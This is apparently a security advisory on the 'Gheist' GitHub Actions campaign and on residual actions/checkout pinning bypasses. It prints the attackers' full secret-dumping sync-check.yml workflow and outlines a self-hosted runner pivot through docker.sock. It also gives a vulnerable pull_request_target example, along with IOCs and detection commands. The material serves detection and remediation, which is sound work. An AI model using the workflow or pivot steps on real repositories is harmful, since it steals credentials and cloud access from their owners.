critical

CVE

Not assigned

CWE

CWE-532, CWE-200, CWE-78, CWE-284, CWE-829

Affected Surface

  • GitHub organizations and personal accounts whose tokens were exposed in infostealer logs or earlier CI compromises (850+ accounts and 13,500+ planted `ci-sync-*` branches tracked since 15 September 2026)
  • Private GitHub repositories and GitHub Enterprise Server instances, where GitHub's July 2026 `action_required` hold for suspicious public workflows does not apply
  • Self-hosted GitHub Actions runners attached to compromised repositories, targeted by the `sync-host` job (`.gdmp_pat`, `.gdmp_patg`, `.gdmp_sweep`) and `/var/run/docker.sock` host-mount sweeps
  • GitHub Actions workflows using `pull_request_target`, `workflow_run`, `issue_comment`, or `actions/checkout` pinned to commit SHAs predating the 20 July 2026 fork-checkout protection backports (`< v2.8.0`, `< v3.7.0`, `< v4.4.0`, `< v5.1.0`, `< v6.1.0`)

TL;DR

On 25 and 26 October 2026, Wiz Research published two investigations into GitHub Actions exploitation and residual workflow exposure:

  1. The Gheist campaign (13,500+ planted branches across 850+ accounts): Since 15 September 2026, an operator using an API client with the HTTP User-Agent gheist has taken stolen GitHub personal access tokens and OAuth tokens and created branches matching ^ci-sync-[0-9a-z]{6}$ across every repository each token can reach. Each branch commits .github/workflows/sync-check.yml with the commit message ci: sync config. Instead of posting secrets to an external command-and-control server (as GhostAction did with 193.32.204[.]199), sync-check.yml prints env | base32 -w 120 and echo -n '${{ toJSON(secrets) }}' | base32 -w 120 directly into the GitHub Actions job log, dynamically loops over every repository deployment environment via environment: ${{ matrix.environment }}, downloads the log through the GitHub REST API, and deletes the workflow run seconds later.
  2. Private repositories and self-hosted runners took the hit: Since 28 July 2026, GitHub has held suspicious workflow runs in public repositories in an action_required state until a collaborator approves them, which blocked every public Gheist run Wiz inspected. That hold does not apply to private repositories or GitHub Enterprise Server. In private enterprise repositories, Gheist completed its runs, deleted the run logs, and used the harvested cloud credentials within hours to enumerate AWS Secrets Manager. On 19 October, the operator added a sync-host job (runs-on: self-hosted) that writes .gdmp_pat, .gdmp_patg, and .gdmp_sweep, scrapes /proc/*/environ and 31 secret formats (including Anthropic, Hugging Face, Groq, and NVIDIA API keys), and mounts the host root filesystem through /var/run/docker.sock.
  3. The 2026 actions/checkout SHA-pinning paradox and residual Pwn Request vectors: In a companion analysis published on 26 October (The Pwn Request Reckoning), Wiz showed that pinning actions/checkout to a commit SHA released before 20 July 2026 (such as actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 for v4.3.0) bypasses GitHub’s backported fork-checkout protections (v2.8.0, v3.7.0, v4.4.0, v5.1.0, v6.1.0, and v7.0.0+). Workflows triggered by issue_comment, repository_dispatch, or workflow_run artifact downloads also remain exploitable ahead of GitHub’s 2 December 2026 default pull_request_target block on public repositories.

What to do now:

  1. Search all repositories (especially private repositories) for branches matching ^ci-sync-[0-9a-z]{6}$, commits titled ci: sync config, and the four .github/workflows/sync-check.yml blob SHAs below.
  2. Check GitHub Enterprise and organization audit logs for User-Agent gheist and deleted workflow runs, and check AWS CloudTrail (or GCP/Azure equivalents) for OIDC AssumeRoleWithWebIdentity calls whose sub claim references ref:refs/heads/ci-sync-*.
  3. Inspect self-hosted runners for .gdmp_pat, .gdmp_patg, and .gdmp_sweep, and update any SHA-pinned actions/checkout references to v2.8.0, v3.7.0, v4.4.0, v5.1.0, v6.1.0, or v7.0.0+.

Affected systems, campaigns, and workflow patterns

Target / ComponentScope or affected versionsMechanismFixed version or mitigation
GitHub repositories (Gheist campaign)13,500+ branches across 850+ accounts (15 Sep to 25 Oct 2026); private repos and GHES execute unblockedci-sync-[0-9a-z]{6} branch adds .github/workflows/sync-check.yml (ci: sync config); base32-encodes env and toJSON(secrets) into run logsDelete ci-sync-* branches, revoke pushing tokens, rotate repo/org/environment secrets, require reviewers on environments
Self-hosted GitHub Actions runners (Gheist Tool B sync-host)Repositories with registered self-hosted runners targeted from 19 Oct 2026 onwardDrops .gdmp_pat, .gdmp_patg, .gdmp_sweep; scans 31 token patterns, /proc/*/environ, and mounts host / via /var/run/docker.sockRebuild affected runner hosts, rotate instance-role / K8s credentials, use ephemeral runners without Docker socket access
actions/checkout (pull_request_target & workflow_run)< v2.8.0, < v3.7.0, < v4.4.0, < v5.1.0, < v6.1.0, all v1.x, and SHA pins predating 20 Jul 2026SHA-pinning to pre-20 July 2026 commits skips the backported fork-checkout guard in actions/checkoutPin to commits at or above v2.8.0, v3.7.0, v4.4.0, v5.1.0, v6.1.0, or v7.0.0
GitHub Actions issue_comment & workflow_run workflowsAll versions of actions/checkout (including v7)actions/checkout@v7 does not block refs/pull/N/merge on issue_comment; actions/download-artifact does not taint untrusted PR artifactsVerify getCollaboratorPermissionLevel and head SHA on issue_comment; never execute files from download-artifact in workflow_run

Technical analysis

1. How Gheist exfiltrates repository and environment secrets without a C2 server

When the Gheist automation acquires a valid GitHub token (sourced from infostealer logs or earlier supply-chain leaks), it enumerates accessible repositories, clones private repositories in enterprise environments, and creates a branch named ci-sync- followed by six random characters. It then pushes a single unsigned commit authored as the token owner with the message ci: sync config adding .github/workflows/sync-check.yml:

name: sync-check
on: [push]
permissions: {}
jobs:
  sync:
    runs-on: ubuntu-latest
    timeout-minutes: 6
    steps:
      - name: build
        run: |
          env | base32 -w 120
          echo -n '${{ toJSON(secrets) }}' | base32 -w 120

Three implementation choices allow this 13-line file to drain a repository’s secrets without triggering network-egress alerts:

  • Defeating GitHub’s log redactor with base32 -w 120: GitHub Actions scrubs registered secret strings from build logs only when the exact plaintext string (or a standard transformation GitHub tracks) appears in stdout. Piping env and ${{ toJSON(secrets) }} through base32 -w 120 alters the byte stream so the runner prints every secret into the job log in full.
  • permissions: {} does not restrict secrets: Setting permissions: {} drops the job’s GITHUB_TOKEN permissions to none, which looks restrictive to static scanners, but GitHub still populates the secrets context for every workflow triggered by push.
  • Draining environment-scoped production secrets: When a target repository defines GitHub deployment environments (such as production or staging), Tool B queries those environment names beforehand and generates a job strategy.matrix with environment: ${{ matrix.environment }}. Any environment that does not require manual reviewer approval hands its environment-scoped secrets to the sync job immediately.

Once the push run finishes, the operator’s client (identifying itself with User-Agent: gheist) downloads the job log through the GitHub REST API and deletes the workflow run seconds later.

2. Evolution from Tool A to Tool B’s sync-host self-hosted runner pivot

Wiz tracked two parallel automated variants across the 13,500+ branches:

  • Tool A generates a six-character hexadecimal branch suffix (^ci-sync-[0-9a-f]{6}$) and commits the plain sync-check.yml file (Git blob SHA f3da2b8b357dcda02fd455d314be2a95007516a6).
  • Tool B (active since 28 September 2026) generates a six-character base36 suffix (^ci-sync-[0-9a-z]{6}$), adds timeout-minutes: 6 (blob SHA d09535857a741bbb976bdc084a9a021713133291), and injects per-repository deployment environment matrices.

On 19 October 2026, Tool B added echo X | base32 -w 120 between the env and secrets outputs (blob SHA 1dc5af9cce950aad1eb1546ecce8565b117540c4), which prints LAFA==== as a delimiter for the operator’s log parser. Hours later, on repositories where the token could see a registered self-hosted runner, Tool B added a second job named sync-host (runs-on: self-hosted, blob SHA c665b778b2d822453293003e7ca0bbb2cb08e39d).

The sync-host job writes three temporary helper files on the runner (.gdmp_pat, .gdmp_patg, and .gdmp_sweep) and prints its output under a ===== gdmp-pivot: ===== banner across seven collection stages:

  1. Host identity, OS details, and user crontabs.
  2. A recursive filesystem sweep across $HOME, the runner workspace, and system paths matching 31 credential patterns (including API keys for Anthropic, Hugging Face, Groq, and NVIDIA), SSH private keys, .env files, Terraform .tfstate files, and shell histories.
  3. Process environment variables read from /proc/*/environ.
  4. If /var/run/docker.sock is accessible, a privileged container launch that bind-mounts the runner host’s root filesystem (/) and repeats the credential sweep across the underlying host.
  5. Cloud instance metadata queries for AWS IAM role credentials (plus attempted GCP and Azure metadata checks).
  6. GitHub Actions and GitLab Runner credential files on disk.
  7. Kubernetes service account tokens (/var/run/secrets/kubernetes.io/serviceaccount/token).

Wiz also noted that the compromised account pool overlapped with other operations: on 6 October, 391 accounts renamed ~1,461 repositories to cracked-software lures (fl-studio-crack, solana-sniper-lite); on 18 October, 25 accounts created Windows RDP Runner cryptomining repositories; and on 19 to 20 October, three Gheist victim accounts re-pushed their commits with a DPRK-linked PolinRider loader hidden behind hundreds of whitespace characters at the end of vite.config.js.

3. Why CloudTrail catches Gheist even after workflow logs are deleted

Because GitHub’s 28 July 2026 workflow hold only pauses suspicious runs in public repositories, private repositories execute sync-check.yml as soon as the ci-sync-* branch is pushed. Even after the gheist client deletes the workflow run from GitHub’s UI, pushing the ci-sync-* branch also triggers the repository’s existing on: [push] workflows unless those workflows filter on branches: [main].

When a repository’s normal CI workflow runs on the attacker’s ci-sync-* branch and authenticates to AWS, GCP, or Azure via OpenID Connect (OIDC), the cloud provider’s audit log records the branch name in the OIDC token’s sub claim:

repo:<org>/<repo>:ref:refs/heads/ci-sync-8k2m9p

Wiz observed this exact artifact in AWS CloudTrail (AssumeRoleWithWebIdentity) in enterprise environments where Gheist had already deleted its sync-check run logs.

4. The 2026 actions/checkout SHA-pinning paradox and issue_comment / workflow_run gaps

In its 26 October follow-up (The Pwn Request Reckoning), Wiz audited how GitHub’s 2026 platform hardening affects pull_request_target and related triggers:

  • 18 June 2026: actions/checkout@v7.0.0 blocked explicit checkouts of untrusted fork code under pull_request_target and PR-triggered workflow_run unless allow-unsafe-pr-checkout: true is set.
  • 20 July 2026: GitHub backported that protection to v2.8.0, v3.7.0, v4.4.0, v5.1.0, and v6.1.0 (v1 was excluded).
  • 2 December 2026 (scheduled): GitHub will enforce a default event policy blocking pull_request_target in public repositories that have not configured an explicit event policy (private and internal repositories are not covered).

Because the fork-checkout block lives inside the JavaScript code of actions/checkout rather than the Actions runner, repositories that followed supply-chain guidance by pinning actions/checkout to a 40-character commit SHA before 20 July 2026 do not get the protection:

# Vulnerable: SHA-pinned to actions/checkout v4.3.0 (predates the 20 July 2026 v4.4.0 backport)
on: pull_request_target
jobs:
  pr-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
        with:
          ref: ${{ github.event.pull_request.head.sha }}

In addition, actions/checkout@v7 still allows untrusted fork checkouts when triggered by issue_comment (for example ref: refs/pull/${{ github.event.issue.number }}/merge on a /deploy comment) or when a workflow runs git clone or gh pr checkout directly in a run: step.

IOCs

TypeIndicatorContext
HTTP User-AgentgheistAPI client User-Agent used to plant ci-sync-* branches, fetch job logs, and delete workflow runs
Git branch pattern^ci-sync-[0-9a-z]{6}$ (^ci-sync-[0-9a-f]{6}$ for Tool A)Short-lived branches created across every repository reachable by a stolen token
Git commit & pathCommit message ci: sync config adding .github/workflows/sync-check.ymlUnsigned commit authored as the compromised token’s owner
Log & payload markerstoJSON(secrets) }}' | base32 -w 120, LAFA====, ===== gdmp-pivot: =====Secret-dump command, base32 separator (echo X | base32 -w 120), and self-hosted runner pivot header
Runner file paths.gdmp_pat, .gdmp_patg, .gdmp_sweepHelper files written on self-hosted runners by the sync-host job
Git blob SHA-1f3da2b8b357dcda02fd455d314be2a95007516a6.github/workflows/sync-check.yml plain variant (Tool A)
Git blob SHA-1d09535857a741bbb976bdc084a9a021713133291.github/workflows/sync-check.yml timeout-minutes: 6 variant (Tool B)
Git blob SHA-11dc5af9cce950aad1eb1546ecce8565b117540c4.github/workflows/sync-check.yml LAFA==== separator variant (Tool B, 19 Oct 2026)
Git blob SHA-1c665b778b2d822453293003e7ca0bbb2cb08e39d.github/workflows/sync-check.yml sync-host self-hosted runner variant (Tool B, 19 Oct 2026)

Detection and remediation

# 1. Check all local and remote branches and git objects for Gheist ci-sync-* branches or blob SHAs
git fetch --all --prune 2>/dev/null || true
git branch -a | grep -E 'ci-sync-[0-9a-z]{6}' || true
git log --all --grep='^ci: sync config$' --oneline -n 20 2>/dev/null || true

for sha in f3da2b8b357dcda02fd455d314be2a95007516a6 \
           d09535857a741bbb976bdc084a9a021713133291 \
           1dc5af9cce950aad1eb1546ecce8565b117540c4 \
           c665b778b2d822453293003e7ca0bbb2cb08e39d; do
  git cat-file -e "$sha" 2>/dev/null && echo "FOUND Gheist workflow blob: $sha"
done

# 2. Check self-hosted runner hosts for sync-host (.gdmp_*) pivot artifacts
find / -xdev \( -name '.gdmp_pat' -o -name '.gdmp_patg' -o -name '.gdmp_sweep' \) 2>/dev/null
rg -n 'gdmp-pivot|base32 -w 120|LAFA====' /home /runner /opt/actions-runner /var/log 2>/dev/null

# 3. Audit .github/workflows/ for pre-July-2026 actions/checkout SHA pins and risky triggers
rg -n 'pull_request_target|workflow_run|issue_comment|repository_dispatch|allow-unsafe-pr-checkout|download-artifact|gh (pr checkout|repo clone)|git (clone|fetch)|refs/pull|actions/checkout@v(1|2\.[0-7]|3\.[0-6]|4\.[0-3]|5\.0|6\.0)([^0-9]|$)|\$\{\{[[:space:]]*github\.(event\.|head_ref)' .github/workflows/ 2>/dev/null

# 4. Resolve every SHA-pinned actions/checkout reference against upstream tags
tags=$(git ls-remote --tags https://github.com/actions/checkout)
grep -rhoE 'actions/checkout@[0-9a-f]{40}' .github/workflows/ 2>/dev/null | cut -d@ -f2 | sort -u |
while read -r sha; do
  tag=$(echo "$tags" | grep "^$sha" | sed 's#.*refs/tags/##; s#\^{}$##' | sort -V | tail -1)
  echo "$sha -> ${tag:-UNKNOWN (verify commit date >= 2026-07-20)}"
done

If you find a ci-sync-* branch, a gheist audit-log entry, or an OIDC role assumption from ref:refs/heads/ci-sync-*:

  1. Rotate all exposed secrets immediately: Rotate every repository, organization, and deployment-environment secret accessible to the affected repository (including AWS, GCP, Azure, npm, PyPI, Docker, and AI provider keys). Deleting the branch or the workflow run does not invalidate secrets that were already printed into the log and fetched via the API.
  2. Revoke the pushing token and rebuild affected self-hosted runners: Revoke the PAT or OAuth token that authored the ci: sync config commit, inspect the token owner’s workstation for infostealers or PolinRider modifications (vite.config.js trailing whitespace loaders), and decommission any self-hosted runner that executed sync-host.
  3. Bump SHA-pinned actions/checkout refs: Update any SHA-pinned actions/checkout steps to commits corresponding to v2.8.0+, v3.7.0+, v4.4.0+, v5.1.0+, v6.1.0+, or v7.0.0+, and scope cloud OIDC trust policies to protected branches (ref:refs/heads/main) or reviewer-gated deployment environments.

Timeline

  • 2026-06-18 to 2026-07-28: GitHub ships actions/checkout@v7.0.0 (18 June), read-only cache tokens for untrusted triggers (26 June), backported fork-checkout protections in actions/checkout v2.8.0 / v3.7.0 / v4.4.0 / v5.1.0 / v6.1.0 (20 July), and an action_required approval hold for suspicious workflow runs in public repositories (28 July).
  • 2026-09-15: Wiz Research observes the first Gheist ci-sync-* branches (Tool A) planting .github/workflows/sync-check.yml.
  • 2026-09-28: Tool B launches with base36 branch suffixes, timeout-minutes: 6, and dynamic deployment-environment matrices.
  • 2026-10-19: Tool B adds the LAFA==== base32 separator and the sync-host job targeting self-hosted runners via .gdmp_pat, .gdmp_patg, .gdmp_sweep, and /var/run/docker.sock.
  • 2026-10-25 to 2026-10-26: Wiz Research publishes its technical breakdown of the Gheist campaign (having tracked 13,500+ branches across 850+ compromised accounts) and its companion audit of residual GitHub Actions pull_request_target and SHA-pinning bypasses.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References